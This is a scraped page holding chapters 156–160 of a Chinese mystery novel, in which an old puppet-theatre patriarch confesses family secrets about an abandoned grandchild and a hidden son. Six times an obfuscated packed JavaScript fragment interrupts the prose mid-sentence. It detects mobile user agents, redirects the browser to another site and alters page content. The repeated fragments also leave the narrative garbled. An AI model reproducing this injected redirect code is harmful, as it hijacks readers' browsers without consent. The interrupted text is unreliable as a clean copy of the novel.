好不容易站起身的凌天阁,颤抖着双臂不顾姜小四的搀扶,对着方骅行了一礼。 “凌老爷,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617958|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可……”方骅连忙将对方扶起,开口道:“您有什么话,可以直接同我说。” 对方虚弱地点点头,才又倒回床榻上,沙哑着声音开口道:“今日请大人过来,便是想赌上一赌。若大人之职与审案查案无半点关系,老朽便当家中来了几位客人。” “若有关系呢?”方骅问道。 门外的光亮照在凌天阁布满皱纹的半张脸上,而他的另外半张脸,则隐藏在暗处。 他暗淡的双眼在光照下,明明灭灭几个轮回后,终于再次开了口:“那老朽便想请求大人一件事。大人这几日……可否直接住在凌家,替老朽找出隐藏在凌家的凶手。” 他此话一出,惊呆了在场的众人。 冷萤几人,并不是没有想过,杀害凌倩倩的凶手就在凌家。 只是他们即便想过,却也不可能像凌天阁言语间这般笃定。 毕竟,这凌家上上下下住着的,全都是手足至亲。 “会不会……是下人?”趁众人震惊时,珊瑚轻轻地问了一句。 老人的目光顺势看向她,在盯着看了许久,直看得珊瑚内心开始发毛时,他果断摇了摇头道:“不可能。” “您为何这般笃定?”方骅见老人心中似乎已有盘算,直接开口问道。 对方并没有立刻回答他的话,而是反问道:“昨晚发现倩倩时的场景,想必各位都看清了吧?” 几人犹豫着,朝对方点了点头。 老人继续道:“那套粉色的戏服,老朽记得很清楚。是当年……雪霜第一次上台时,我夫人亲手为她的悬丝傀儡缝制的。我们戏班子里所有用得上的戏具和戏服,从不假手与外人。” “您是说……”冷萤感觉自己似乎听懂了对方的意思,问道:“那悬丝傀儡所穿的戏服,只有凌家的人才能碰。我这样理解……应该没错吧?” 老人点头,示意她说得没错。 原来如此…… 按凌天阁的说法,如果昨日没有特殊情况发生,那经手那件粉色戏服的,便只会是凌家的那几名演师! 第一百五十六章 凌家往事(1) “广元出了人命,想来县官也不会放任不管,凌老爷实在不必担心。” 方骅并不是不想管这桩命案。 只是,这关系到凌家家族内部,其中的关系错综复杂,又与他们一路追查的案件并无任何直接关系。 他们外县之人,擅自插手似乎有些不妥。 冷萤见方骅态度犹豫,也并未劝他,他的顾虑她都明白。 昨夜几人并未全然了解,现下却都已明白,此案既然涉及凌家家族内部恩怨,那便不只是破了这桩案子这样简单。 想来,请县官来做主,是凌家目前能做出的最佳选择。 察觉到对方想拒绝自己的请求,凌天阁此时的面色看起来越发没有一丝血色。 老人家身体单薄,面如死灰地重新靠回床头,沙哑地苦笑了一声,仿佛有漫天的苦楚全都没办法吐露。 冷萤几人自是不懂,为何在方骅提起广元县官后,凌老爷子会有如此大的反应。 于是,她开口问道:“凌老爷,昨夜事发突然,您可能需要给衙门一些时日来处理这桩案子。” 她本以为,是凌老爷子不相信广元县官的查案能力,才会执意地想要方骅帮忙。 凌天阁慢慢摇了摇头,表情逐渐变得痛楚,与他们道:“老朽并不是不信他们,自事发后,县里也一直在连夜盘查凌家上下,包括我这个刚醒的老头子,在天不亮时也过来问询了一番。但是……老朽顾虑的并不是这个。” 方骅疑惑地问:“那是什么?” 对方的表情极其难看,好似有什么话一直堵在胸口,想吐又吐不出,想咽又咽不下。 冷萤他们本就不想多管这事,自然也没有多嘴追问。 如果凌天阁有不能说出口的隐情,他们方才已经表明了态度,再打听下去便不太礼貌了。 想到这里,方骅与冷萤对视一眼同时站起身,刚准备告辞离开时,凌老爷子突然又开口说话了。 两人只好又乖乖坐下,安静听老人家说话。 “这件事,要从十七年前说起……”凌天阁缓缓开口。 对方的这句话,让冷萤几人顿时心生不好的预感,如果他们再继续听下去,这事他们似乎不想管都不行了。 “凌……”怕方骅为难,冷萤正想抢先一步截断老爷子的话,告辞离开。 却在刚出声时,便被对方立刻打断:“各位,老朽并不是想强人所难。你们……不如就当是听了一段往事。你们应该知道,演戏之人最在意的事,便是同看客们讲好一段故事了。” 这…… 冷萤与方骅互相一眼,只得勉强点了点头。 “只是这段往事有些长,各位如果觉得无聊了,可以同台下的看客一般,随时选择离开。”凌天阁委婉提醒一句。 珊瑚默默拿出怀里的馒头,被冷萤一把按了回去。 “听戏不得吃点东西嘛……”珊瑚小声在冷萤耳边讲。 冷萤看向她,默默且坚定地摇了摇头,让她听话。 好吧…… 她只得又乖乖将馒头放进自己怀里。 见四人的目光齐齐注视着自己,凌天阁清了清嗓子,就在冷萤以为他下一瞬便要唱出来时,他慢慢开了口:“老朽记得,十七年前……小女凌雪霜也是十七。” 冷萤吃了一惊。 她虽然知道凌雪霜已为人母,但从外表看起来,怎么瞧着也只有二十多岁的年纪。 凌雪霜不止外表姣好,或许是自小练习戏曲的原因,仪态与气质也是独一无二。 冷萤虽与凌雪霜交谈不多,可即便只是短短接触片刻,与对方相处的感觉也是让她如沐春风。 “碧玉年华,娇憨可爱。小女及笄后,广元上门提亲的小伙差点没把牵丝阁的门槛踏烂。虽说戏子位低,但在见过小女的才华与容貌后,他们一个个依旧是趋之若鹜。”凌天阁在说起这件事时,脸上闪过一瞬间的自豪。 冷萤微微一笑,仿佛能理解凌家上下对凌雪霜的宠爱。 凌天阁将目光放在珊瑚身上,慈爱问询道:“不知珊瑚姑娘如今多大年纪,老朽瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617959|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,好似与雪霜那时的年纪差不多。” “也快十七了。”珊瑚在面对老人家慈爱的目光时,说话间明显有些不自在。 “那老朽看得还是挺准的。”凌天阁的语气越发慈祥。 见珊瑚不自在,他也并未一直在这个话题上打转,收敛起表情继续道:“其实,老朽和夫人早年间,便为雪霜挑好了一门夫婿,是城南樊家最小的儿子。那孩子一手漆画功夫,在广元无人能及。” “漆画?”说起这个,冷萤开始感兴趣了。 老人家点点头,回道:“是啊,漆画。这门技艺都快失传了,雪霜是因家中老祖宗传下来的那些珍品,因而自小感兴趣。虽被我们逼着练习傀儡戏,但只要有空闲,便会不停模仿老祖宗技艺。至于……樊家那小子,他是真有天赋。” 凌天阁提到樊家,表情也甚是轻松,想来交情不浅。 “这两孩子自小就有共同的爱好,常聚在一起研究。樊家虽不算大富大贵,倒也知足常乐,那小子又一表人才,爱护雪霜。只可惜……”凌天阁说到这里 ,嘴角逐渐下垂,表情不再如方才一样放松。 “是发生了什么事情吗?”冷萤问道。 她敏锐地察觉到,老人家在说到这里时,情绪明显与之前的不大一样。 这个停顿,就好像一个人在碰见最不愿意发生的事情时,为了逃避不想再继续下去一般。 老人浑浊的目光转向冷萤,缓缓道:“那段时日,京中来了一名姓王的贵人。我们那时白日尚还有些戏演,便在城北搭了个小台子。那贵人日日坐在台下观赏,经常还会极大手笔赠与雪霜头彩之礼。” 冷萤自然懂得,凌天阁所说的头彩之礼是什么意思。 某一些看客对其中一名戏子的演出尤为喜爱,便会将赏金与贵重之物直接置于其手中,表达对这位戏子的鼓励与认可。 所以不用老人家说得太清楚,几人也懂了这名京中贵人为何在这里出现。 在这位贵人长期的头彩攻势下,凌雪霜必然与那人有了交集。 第一百五十七章 凌家往事(2) 果然,接下来的发展不出众人所料。 那贵人只比凌雪霜大上几岁,在第一眼瞧见下台谢幕的凌雪霜时,心中便有了绮情。 奈何当时的凌雪霜与樊炎心形影不离,他并未有机会正式接触到她,只能以日日送头彩的方式,让凌雪霜对他印象深刻。 凌雪霜自小与樊炎心相识,感情早已稳定更甚于亲情。哪里经历过这般浓烈的情感攻势,没多久便沉醉在那贵人为她编制的美好前景中。 她不顾樊炎心的挽留,还有凌家众人的劝阻,一头栽进了对方的花言巧语里不可自拔。 凌家所有人见她态度坚决,渐渐地也接受她与那姓王的贵人相处。 而听闻凌雪霜有了喜欢的人,樊炎心求着自家父母上门与凌家夫妇谈过几次,回回都以凌雪霜态度坚决而告终。 樊炎心见凌雪霜已经彻底不考虑自己,在生了一场大病后,便再也不愿出门。 凌雪霜虽觉对樊炎心有愧,在樊家的请求下,上门劝过樊炎心好几次,却还是不愿松口下嫁于他。 虽然王家贵人并未对凌家提亲,但凌雪霜已经打定主意要嫁给对方了。 只是有一点很奇怪,那贵人从不对凌家透露自己在京城是何职位,家世为何。 只说自己姓王,父母均在京中当官,自己即便考不上功名,封个荫官也能护凌雪霜一世,别的一概不愿提及。 凌雪霜沉浸在狂风骤雨一般的热恋中,自然更不会在意这些说辞。 甚至在大哥凌云海提醒她,一定要小心稀里糊涂被骗时,斥责凌云海只看重对方家世,一点不在意自家小妹的幸福。 当时的她只是一心想着,她的王公子总有一日会带她离开广元,到京城去见他的父母,到时一切不是全都了解得清清楚楚、明明白白了吗? 现在为何非要多此一举,显得他们凌家只看重对方家世,是多么市侩的一家人。 当时的所有人心中都存有疑虑,只有凌雪霜在陷入恋爱后,仿若整个理智都被爱情融化了,心里眼里只有一人。 那个人,便是对她许下山盟海誓,却从未向凌家提过亲的王家公子。 年少时的爱恋浓烈,该发生的、不该发生的事,全都顺理成章地发生了。 半年后,就在凌雪霜还在做着嫁给自己心上人的绮梦时,一夜之间那姓王的公子便如人间蒸发一般,在广元消失得无影无踪。 广元与京城隔得不远,大哥凌云海一时气不过,不眠不休一日一夜赶到京城,想为自己的小妹讨一个公道。 可到了京城的他,在人声鼎沸的闹市里待了半个月,打听了许多姓王的人家,却再也没遇见过,那个将自己小妹骗心骗身所谓的王家“贵人”。 垂头丧气回到家中的凌云海,才发现自家小妹已有两个月的身孕。 一下子,凌家所有人非必要全都大门不敢出、二门不敢迈。在台上演出时,更是匆匆上台后,演完便离开,一句都不与认识之人多言。 就怕相熟之人问起凌雪霜的亲事,问起总同她站在一起的那名男子,如今怎么瞧不见了? 凌家上下,全都劝凌雪霜打掉肚子里的孩子。凌天阁还说,只要她不生下这个孩子,即便一辈子不肯嫁人,他也甘心养她一辈子。 但从头到尾都不信自己被丢弃的女子,执意要怀着那人的孩子,等着他从京城来接她回去。 凌雪霜的母亲,日日以泪洗面。可她流下的泪,却怎么都无法打动自己的女儿。 见凌雪霜铁了心要留下这个孩子,凌家上下没有办法,私下商量干脆让凌雪霜先偷偷生下这个孩子,再谎称孩子一出生便去世了,这样才能断了她的痴恋。 而他们就做一回坏人,将那孩子直接送到京城去。 然后一切,就看那孩子自身的造化了。 若她与亲生父亲有缘,自然是最好。可若是没有,将她送到一个安稳之家,也算是对得起这孩子了。 当时的情况下,即便这孩子是凌雪霜拼死生下的,他们也不可能将孩子留在凌家的。 凌家三兄妹那时全都未成亲,凭空出现一个孩子,光是流言蜚语都能将早已没落的凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617960|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家给淹死。 “所以……你们便在凌雪霜生下孩子的当晚,将孩子送去了京城?”冷萤越听,眉头皱得越紧。 另外几人,表情也同样难以理解。 在他们看来,即便这孩子来得不是时候,凌家或许也真是为了凌雪霜好。 但站在当时凌雪霜的角度上看待这件事,那该是一种怎样的绝望。 偷尝禁果固然不对,可她也因此得到了教训。 被自己全心全意相信的情郎抛弃,对那个年纪的女儿家来说,已经算是一场毁灭性的打击。 结果,在她拼下命生下那人的孩子后,却被家人告知孩子难产而死。 这对她来说,应该是比情郎离开,更加灭顶的绝望。 在这件事之后…… 除了凌雪霜之外,唯一让凌家感到安慰的一件事,便是樊炎心的上门提亲。 照理说,樊炎心是除了凌家,最了解凌雪霜与那位王家“贵人”之间的情感纠结的。 他上门提 亲并同意入赘时,凌天阁便特地强调过,自己即便是养女儿一辈子,也不可能让她未来的夫家,拿她以前遇到的痛苦来说事。 直到樊炎心下跪保证,保证自己一辈子都会对凌雪霜好,并且发誓以前的事情他一句都不会在凌雪霜面前提及,凌天阁这才松了口,同意了他的提亲。 当时的凌雪霜早已心灰意冷,凌天阁问她的想法时,她只丢下一句“以前是我不听父兄的话,现在不会了。”便转身离开了。 于是,在大哥凌云海成亲后次年,凌雪霜与樊炎心也成了亲。 成婚后的凌雪霜与樊炎心也算是相敬如宾,并没有多么浓烈的感情,但也默契十足。 樊炎心开了一家漆画铺子,生意虽然平平,但养活一家人不成问题。 婚后第五年,两人生下一子,取名樊寸心。樊炎心本是入赘,并没有指望孩子跟着他姓,但凌雪霜执意如此,凌家人便也同意了。 “这便是……凌老爷不愿县官来凌家查案的原因?”冷萤恍然大悟问道。 第一百五十八章 凌家往事(3) 他们是外乡人,找到凶手后便会立刻离开广元县。 到时,就算隐藏在凌家的凶手被找出,凌雪霜曾偷尝禁果并私下育有一女之事,广元县也不会有人传出。 回忆完一段往事的老人,虚弱到整个身体全靠在床头无法起身。 他哀求道:“凌家落魄如斯,万不能再出什么纰漏了。祖宗留下的基业,已经被我们这几代荒废的差不多,只余一点名声,老朽即便是死也要保下。” 他这话一出,冷萤居然有些分不清,这位凌家的老者到底是更看重凌家的名声,还是自己的女儿了。 既然对方已据实已告,并为了请方骅出手帮忙找出凶手,不惜将隐瞒多年的秘密讲于他们听。 那他们自然也不好再推辞。 “那个小孩呢?”一直在旁沉默不语的珊瑚,突然开口问道:“你们将那小孩送到了京城哪里?不会是直接掐死了吧?” 本已毫无气力的老人,听她这样一问,吓得连忙直起身连连摆手道:“姑娘可不能乱说。我们凌家虽然不希望那孩子到来,倒也不至于下如此毒手。这样的话,同一个杀人凶手又有什么区别?” “可……这次的杀人凶手不就出现在凌家吗?”珊瑚直接反问:“既然家中有如此狠心之人,当初又何必将那孩子辛苦送到京城,直接掐死不是更容易?” 珊瑚似乎完全不信凌天阁的说辞,想用偏激的言语“激”出对方内心的想法。 老人见状,忙解释道:“这事,老朽是吩咐老大和老三同时去办的,他们最后一次去京城,还是没找到那孩子的亲爹,便将孩子送给了一家工艺阁的店家夫妇。商人虽地位不高,至少比戏子好一些,再怎么也会给孩子吃饱穿暖。” “呵……”珊瑚冷笑道:“不过是你们一厢情愿的想法罢了。孩子又不是自己亲生的,怎知对方会如何对待?万一在你俩儿子走后,对方就直接将那孩子丢掉,你们又怎会知道?” “我们给了很多银子……”凌天阁试图做最后挣扎。 “真是好笑!给了银钱,吸引的只会是更加不诚心的收养者罢了。”她一点也没给凌老爷子留面子,心里想到什么便直接说了出来。 冷萤在一旁,只是没有冲动开口,但珊瑚将她想说的话全都说了出来。 她以前,总觉得不要介入人家因果,不仅是对自己的保护,也能维持表面的礼数。 可当小姑娘振振有辞地说出那些话,而凌老爷子只能干瞪眼,完全无法接话时。 此时的冷萤,居然开始佩服起珊瑚敢于直言的性格了。 如果那孩子能选择,定不会选择在一个自己刚出生,便全都想将她抛弃的家族里。 她有何错?错的是那些不负责任的成人罢了。 而那些不负责的人,在做下错事后,尚且有重来的机会。 可这个孩子的命运,却在这些人的一举一动间,被彻底改变。 老人低垂着头,似是极度懊悔。 他表情挣扎,半晌后才又抬头道:“其实,老朽早就后悔了。可是……后悔又能怎么办?当时送走这孩子后,我的夫人因为愧疚,没多久便生病撒手人寰。老大和老三也一生背负着罪恶。” 珊瑚并不想听对方的忏悔,只是挽着冷萤胳膊的手越发收紧,紧到冷萤都有些吃痛。 可当她想转头问询时,却瞧见珊瑚的脸上,出现了一种自己从未见过的表情。 那表情太过复杂,完全不像是珊瑚这个年纪会有的。 她放弃喊痛,只是伸出手轻轻拍了拍珊瑚略显冰冷的脸颊,直到对方恍然回神,对着自己笑了下,她才又慢慢放下心来。 “关于凌倩倩的死,凌老爷有怀疑的人吗?”方骅并没有对凌家那些往事发表任何意见,而是直接岔开话题,问起了关于案子的一切。 凌天阁明显愣了一下,后才回答道:“手心手背都是肉,老朽怎么可能怀疑自己亲生的孩儿。” “那后来进入凌家的呢?”他的意思是,凌家还有一位儿媳万归宁和一位入赘的女婿樊炎心。 老人连忙摇了摇头:“那更不可能了,归宁是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617961|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老朽和夫人帮云海挑选许久,煞费苦心娶回来的妻子,炎心更是与我那三个孩子一同长大,感情格外深厚。他们不可能做出这样的事情的。” “是吗?”方骅道:“那就是孙子辈做的了。”方骅的想法很简单,对方既已说过,不是凌家的人就不会碰那戏服,那凶手自然出自凌家。 既是凌天阁拜托他来帮忙查案,自己也已经同意,并开始了解前因后果,那所有的事情对方就必须交代清楚。 结果,现在这位老人家,又在他们面前玩起了家人情深的戏码,他方骅自然没那么多耐心同他斡旋,只能一个个排查了。 万一,到时因为某些人的刻意隐瞒,而导致线索断裂,造成查案延误,耽误了他们的正事。 那抱歉,这事他便实在无法帮忙了。 “这不可能,他们才多大?且倩倩与老大的儿子天青从小一起学艺,对雪霜的儿子寸心,更是如同对自己的亲弟弟一般爱护。” 凌天阁此时,依旧没有察觉到什么不对,习惯性采用敷衍的 言语,想将所有的一切都推给几人自行查探。 “哦……”方骅听罢轻挑眉头,目光沉沉对着凌天阁说道:“那便是老爷子你了。” 凌天阁直到这时,才发觉对方好似动了气。 他急得连忙坐直身子,抱歉道:“方大人,真不是老朽故意隐瞒,只是有些事情,实在是无……无法说个明白。” “是吗?”方骅讽刺的一问,仿若一把利剑恰巧刺在凌天阁的命脉上,“凌老爷,我再问一次!凌家到目前为止……真的只出过一次命案吗?” 他话音刚落,冷萤猛然抬眼。 对方的话,让她突然想起了凌风曾经说过的话。 “自从我小叔他女儿刚出生便去世后,我就是我们家最看重的继承人了……” 他们现在已经知道,凌池是凌家最小的儿子,凌风则是凌池的小儿子。 那凌风……又是哪里来的小叔? 而那个刚出生便去世的女儿,又是谁的呢? 第一百五十九章 藏起来的儿子 所有人的目光,全都看向了凌天阁。 “凌老爷,在下现在不得不问一句,您是真心想请在下帮凌家找出凶手吗?”在得知对方从头至尾都在隐瞒后,方骅的嗓音越发冰冷。 凌天阁整个身体已石化。 他慢慢地……将脑袋极其艰难地转向他们,用气音道:“你们……究竟知道了一些什么?” 冷萤的左边坐着方骅,右边坐着珊瑚。 她特别明显的,感觉到自她左右两边,同时有人发出冷笑声。 一瞬间,室内的气温急速下降。 这种熟悉的感觉,让她彻底明白,有两位祖宗已经彻底动怒了。 她小心翼翼地看了眼姜小四,对方与她几乎一样,坐在原处动都不敢动一下。 在那两位祖宗暴走前,她抓住最后的机会,朝凌天阁问出了一个相对安全的问题:“凌老爷,您究竟有几个子女?” 她相信,在此时这个房间里,除了凌天阁之外,所有的人都想问出这个问题。 “你们到底是怎么知道的?” 没承想,凌天阁依然沉浸在自己异常震惊的情绪中,完全没有发觉,现场有两人的脾气已经临近爆发点。 他再这样下去,大家只能不欢而散,这案子也没法查了。 于是,冷萤在对方问出这句话后,直接再也不给他一丝机会,开口就问道:“您是不是还有一个小儿子?” 对方猛地看向她,半晌说不出话。 冷萤静默一瞬,继续道:“是我问得不够仔细,那不如这样问吧……” 她视线对着凌天阁的双目,一字一句开口问道:“……凌老爷,您家中,究竟死过几个孩子?” 一句问话,让凌天阁彻底崩溃。 冷萤撇了撇嘴,看着崩溃到想努力站起身的凌天阁,并没有出手相扶。 她不想的,可对方总揣着明白装糊涂,想利用他们查案,却隐瞒如此重要的线索。 她可不想被人耍得团团转。 果然,一个人的自私,从方方面面的行为中都可以瞧出。总是装出一副道貌岸然的样子,举手投足间却将自己摘得干干净净。 或许是她的直言不讳,让方骅与珊瑚的情绪逐渐好转了一些,室内的温度又逐渐回温。 现在换成凌天阁情绪不稳了。 他颤颤巍巍地站起身,伸手就想冲着冷萤来,却被方骅一把按坐在床边。 “劝您不要随意动手,没有胜算的。”方骅寒着嗓音道。 凌天阁木然地开口:“老朽并不是想对姑娘动手,只是方才太激动了。你们……为何会知道这些?” 冷萤坐得稳稳的,对着他轻轻笑道:“我们本也不那么清楚,刚才只是多嘴问问而已。不过……现在确实已经知道了。” 看了对方如此激动的反应,他们还有什么不知道的呢? 老人颓然地看着自己的双手,不知是在气愤,还是在后悔请他们过来。 方骅见对方彻底蔫了,才又坐回冷萤身边。 珊瑚自知嘴毒,斟酌了许久后,才将美化了好几层的问题问出:“那你小儿子呢?” 在看见对方整个身体重重一震后,她才又靠近冷萤,想努力做一名安静的女子。 他们本来,没准备对方会轻易开口回答。 谁知,在众人沉默片刻后,凌天阁嘴里轻轻吐出了四个字:“他是疯子。” 什么? 他究竟是在骂自己的亲儿子,还是在陈述事实?冷萤顿时有些搞不懂了。 难道…… “是因为他有缺陷,所以你才一直对外宣称自己只有三个子女?”她猜测道。 对方既不点头也不摇头,那她便是猜对了。 “很严重吗?”她问。 凌天阁僵硬地抬起头,看着她回道:“他刚出生时不小心被摔了一下,然后就变成那样了。我和夫人偷偷在外地请了许多名医来瞧,都说没办法。所以我们从来都对外宣称,家中只有三个孩子。” 见对方表情里明显露出不赞同,凌天阁又解释道:“但我们全家都商量好了,只要他有了后代,凌家下一代的继承人便是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617962|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人。” “这是,对不承认他是凌家子孙的补偿?”方骅颇为无语。 对方居然还摇了摇头,才道:“也不全是。他虽是疯子,但从小对傀儡戏具制作与戏曲都有着极高的天赋,比他那几个哥哥姐姐都厉害。” “所以,你们认为他的下一代,或许也会继承到他极高的天赋?” 在方骅沉沉的注视下,凌天阁扛不住轻轻点了点头。 “呵呵,这是什么意思?”方骅没忍住笑出了声,“想得到他的天赋,却不承认他是凌家后代?凌老爷啊凌老爷……你处世的方式,可真是一绝……” 方骅这句话,讽刺意味拉到了极点。 对方不知是没有听出还是故意所为,居然还作势拱了拱手,用谦虚的语气道:“过奖过奖……” “奖个…”珊瑚一句话还未说出,立即被冷萤捂住了嘴。 然后,在对方疑惑的目光转来时,她自如地问道:“既然你小儿子有疯病,那他女儿又是怎么回事?” 凌天阁又沉默了…… 看他这样子,这事凌家估计做得也不光彩。 “方才冷姑娘,既问错了也没问错……”好半晌,对方没头没尾地说了这么一句。 “管你……”珊瑚条件反射开口就想怼人,想了想又硬生生吞了回去。 “凌老爷这话是何意?”冷萤不懂他的意思。 “凌家确实死过一个女婴,但不是雪霜的女儿,是凌小宝……就是我那小儿子的女儿。”凌天阁这次,终于还是坦诚了。 冷萤其实想问,凌小宝的女儿到底出了什么事。 她总觉得此事不简单,怎么所有倒霉的事情,全都发生在凌小宝一个人的身上? 她还没来得及问出,凌天阁便又开了口:“那女婴的娘,是小宝身边的丫鬟。可能是因为长年照顾他的缘故,这丫鬟居然生出了爬床的心思,在我们什么都不知道的情况下,就这样怀了小宝的骨肉。” 珊瑚顿时怒了:“哪个正常的女子,想爬一个傻子的床啊?莫不是你家小儿子强迫的吧?” 第一百六十章 一切为了名声 “你……”凌天阁恼羞成怒,开口斥责道:“姑娘小小年纪,说话怎的这么不中听。” 珊瑚也不生气,只小声嘟囔道:“做的事不中看,还怪人家说得不中听。” 她是对着冷萤说的,声音又小,凌天阁想发火都找不到机会。 冷萤咬着下唇,不想在如此严肃的场合笑出声。 奈何珊瑚还不愿停止言语攻击,继续呢喃道:“你家又不是大富大贵,人一个好好的姑娘家,干啥非要巴巴地来吃这苦。真是奇怪……” 凌天阁有求于人,现下家中所有不能与外人道之事,又全被他们知晓。他也只能装作什么也听不见,低着头不看不听。 想着对方反正什么都知道了,他不如一次性说个清楚。 于是,在珊瑚闭嘴后,凌天阁慢慢讲起了他最近遇到的异常。 “这段时日,家里总会出现一些诡异之事。” 冷萤听罢,开口问道:“凌老爷所说的“诡异之事”,可是经常会在半夜听见婴儿的啼哭声?” 在冷萤问出这句话后,凌天阁猛地抬头,无法置信地问道:“姑娘怎会知道?” 方骅拿出那块有些破烂的布,递给他问道:“可有见过这种布料?” 那是一块朱柿色,绣着不明图案的布块,上面的纹样不详,纹理也早已模糊。 但凌老爷子骤然僵住的表情在告诉他们,对方心里,非常清楚这块布料出自哪处。 “这是……”他一口气险些没有提上来,大喘几口后才道:“当年我夫人专门为雪霜女儿绣的小衣,上面的颜色与花样,我一眼便能认出。” 说完,他拿着那块布料的手开始剧烈地抖动着,方骅见他情绪不稳,接过他手中的那块布料,再次收了起来。 冷萤见凌天阁的状态越发不好,站起身为他倒了杯热茶,递给对方。 喝了口热茶,凌天阁的脸色看起来稍微好转了些。 休息片刻后,他才微颤着嗓音道:“这些年,我做梦时总能梦见那晚的画面。我们将那孩子送走时,她不知为何一直哭个不停。直到如今……老朽耳中还不时能听到那孩子哭声。” “这么多年,你们有去瞧过那孩子一眼吗?”这句话,是珊瑚问的。 凌天阁头都不敢抬,低头看着床铺一角,轻轻摇了摇头。 “为什么?”珊瑚的嗓音,是冷萤从未听过的低沉。 对方并未在意珊瑚的逼问,而是在想了许久后,缓缓开了口:“广元到京城不远,但这十几年的包袱……太重了。凌家的名声,雪霜的名声还有对那孩子的愧疚。” “你们都不去看那孩子一眼,却好意思口口声声谈愧疚?那些虚无缥缈的名声,比得过一个孩子的性命吗?” 她的问话,好似戳中了凌天阁内心某处的痛。 他瞧着像要再次晕过去一样,却还是强打起精神同他们道:“我们怕去了京城后,看见那孩子万一过得不好,会让我们忍不住将她带回凌家。” 珊瑚立刻道:“那就带回啊。” 凌天阁苦笑着摇摇头,道:“不可能的。这孩子一回来,凌家与雪霜全都会被毁掉。我不敢想象,若雪霜得知她的第一个孩子还在这世间,会变成什么样。” 冷萤听不下去了,开口问道:“所以,你们便忍心让一个母亲在生产完后,忍受被情郎抛弃,又失去孩子的痛苦?那时的凌雪霜即便对情爱糊涂,到底也只是17的年纪。” “我……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617963|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她一旦开口便再也止不住,继续道:“那孩子,本来只是没有父亲,但母亲也可以给她加倍的爱。但你们的举动,却让她永远无法享受到亲生母亲的爱怜与保护了。” 知道她的话没错,凌天阁的头越来越低,直到……所有人都看不出他的神情。 方骅这时才继续问道:“听见婴儿啼哭这事,出现多久了?” 在方骅说话时,冷萤悄悄将目光转向珊瑚,见她的表情还在替那孩子难过,心里好似明白了些什么。 凌天阁强撑着动了动,才恢复情绪道:“小宝的女儿去世后便开始了,老朽起初以为是幻听,可慢慢地……房中总会莫名多些东西。这才发觉,事情没那么简单。” “除了您,凌家还有别人遇见过吗?” 对方答:“当年知道这件事的几人,全都遇见过。” “有哪些人知道此事?”方骅丝毫不放松地追问。 再次提起那夜发生的事,就仿佛是将凌老爷子亲手按进心里的刺,一根一根找到后,再慢慢拔出来。 从他挣扎的表情里,几人不难猜出,若不是这次凌倩倩被凌家的某个人杀害,这个秘密,那几位亲历者,全都会选择即便是死,也要将这秘密带到棺材板里。 